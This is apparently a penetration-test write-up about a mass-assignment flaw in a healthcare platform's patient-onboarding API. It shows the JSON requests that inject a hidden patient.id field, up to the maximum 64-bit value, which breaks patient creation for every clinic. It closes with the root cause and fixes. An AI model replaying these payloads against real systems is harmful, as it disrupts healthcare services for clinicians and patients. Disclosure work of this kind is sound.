Back to Research

Mass Assignment in Patient Onboarding: One ID Breaks the System

A mass assignment vulnerability in a healthcare onboarding flow where a single unvalidated ID field let an attacker control the primary key sequence and disable patient creation platform-wide.

During a joint pentest with my teammate Ali Mansour, I found a bug that quietly shut down the entire "Add Patient" feature for every clinic on the platform, with a single request.

Authentication bugs get the attention, but business logic flaws can be just as devastating. Here is how a single integer became a system-wide kill switch.

#Setting the scene

A modern online health platform where doctors and caregivers chat with patients, arrange tele-visits and, most importantly, add new patients with one click. Behind that button sits a single API call.

#The one-click "Add Patient" flow

When a caregiver clicks Add Patient, the front end fires exactly one request. Focus on patientId.

http
POST /ppapi/caregiver/29757/request
Authorization: Bearer <JWT>
Content-Type: application/json
 
{
  "clientDetails": {
    "userId": 29757,
    "patientId": 27099        // ← suspicious #1
  },
  "body": {
    "patient": {
      "firstName": "Ahmed",
      "lastName":  "Ramadan",
      "gender":    "MALE",
      "birthDate": "12/12/2000",
      "phone":     "7894561234",
      "province":  "ONTARIO"
    },
    "relation": "SPOUSE"
  }
}

The response, trimmed, always echoes two matching IDs:

json
{
  "details": {
    "patientList": [{
      "id": 3150,
      "patientId": 9745, // FK reference
      "patient": {
        "id": 9745,      // Patient PK
        ...
      }
    }]
  }
}

The Add Patient request and its response, showing patientId reflected twice

Note that patientId is reflected in two places: once as patientId in the patientList, and again as id inside the patient object itself.

#Field-by-field recon

#Initial test: patientId has no effect

TestPayload tweakResult
ApatientId++Server ignores the change
BRemove patientIdStill succeeds

patientId has zero influence on either ID in the response, proof that the backend decides the real value independently of user input.

So patientId is completely ignored on input. Two theories:

  • Sequential ID generation. The backend always chooses the next integer, ignoring whatever the client sends.
  • A mass assignment opening. The real key is hidden deeper, waiting to be injected.

#New hypothesis: smuggle an id inside patient

There is an id field under patient in the response, but the original request body has no such field. Which raises the question: what if we add it? Would the server blindly accept it as the primary key?

json
"body": {
  "patient": {
    "id": 9999,            ←─ NEW FIELD!
    "firstName": "Rmdn",
    "lastName":  "Test",
    ...
  }
}

#Step A: try an existing ID, for an unauthorised overwrite

json
{
  "clientDetails": {
    "userId": 29757,
    "patientId": 27099        // will be neglected
  },
  "body": {
    "patient": {
      "Id": 9745,             // already used above
      "firstName": "Ahmed",
      "lastName":  "Ramadan",
      "gender":    "MALE",
      "birthDate": "12/12/2000",
      "phone":     "7894561234",
      "province":  "ONTARIO"
    },
    "relation": "SPOUSE"
  }
}

Result: the request fails with a duplicate-key error. Overwriting someone else's record is blocked.

#Step B: try a brand-new ID

json
{
  "clientDetails": {
    "userId": 29757,
    "patientId": 27099        // will be neglected
  },
  "body": {
    "patient": {
      "Id": 4785302,          // never used before
      "firstName": "Ahmed",
      "lastName":  "Ramadan",
      "gender":    "MALE",
      "birthDate": "12/12/2000",
      "phone":     "7894561234",
      "province":  "ONTARIO"
    },
    "relation": "SPOUSE"
  }
}

Server response:

json
{
  "details": {
    "patientList": [{
      "patientId": 4785302,   // reflects our value
      "patient": {
        "id": 4785302,        // reflects our value
        ...
      }
    }]
  }
}

The injected ID reflected back in both fields of the response

One injection, two reflections. That single JSON key overwrote the primary key in the Patient table and propagated everywhere. Mass assignment confirmed.

More interesting still: the next patient added started from ID 4785303, confirming the server resumed the sequence from where I left it. The field is not merely writable, it is authoritative.

#From curiosity to kill switch

#Injecting id = 1e9

I injected 1e9, one billion, into the newly discovered id parameter under patient. Unsurprisingly, the server accepted it and created a patient with that ID.

The server accepting an id of 1e9

#Injecting id = 1e99, and the database tells us the range

Next I tested the limits with id = 1e99, far larger than anything that should exist in the database, to see whether the server would error or do something more interesting.

Injecting 1e99

The server returned an out-of-range error stating the maximum allowed value for id was 9223372036854775807, the maximum for a signed 64-bit integer. That error disclosed the exact range of the primary key field, which made testing the boundary trivial.

#Injecting the maximum id, and controlling the sequence

I then injected the maximum value, 9223372036854775807, directly into id. The server accepted it and reflected it back as the last ID in the database.

The server accepting the maximum signed 64-bit integer as a patient ID

#Nobody can add a patient after the maximum is reached

Attempting to add any new patient now returns:

json
{
  "success": false,
  "message": "io.ebean.DuplicateKeyException: Error[Duplicate entry '9223372036854775807' for key 'patients.PRIMARY']",
  "userMessage": "This member is already managed by user."
}

The duplicate key exception returned for every subsequent patient creation

Patient creation broken platform-wide

Every new patient is now assigned the same ID as the last, so the database rejects it as a duplicate. Once the final ID in the sequence was manually injected, patient creation was broken for every caregiver on the platform.

#Recap

  1. The one-click "Add Patient" flow
  2. Field-by-field recon
    • Initial test: patientId has no effect
    • New hypothesis: smuggle an id inside patient
  3. From curiosity to kill switch
    • Injecting id = 1e9
    • Injecting id = 1e99, database error reveals the range
    • Injecting the maximum id, controlling the sequence
    • No one can add a patient once the maximum is reached

#Root cause

The API bound client-supplied JSON directly onto the persistence model without an allowlist, so a field that never appears in the documented request body (patient.id) was accepted as the primary key. Two fixes are needed: bind only explicitly permitted fields, and never let a client influence a database-generated identifier.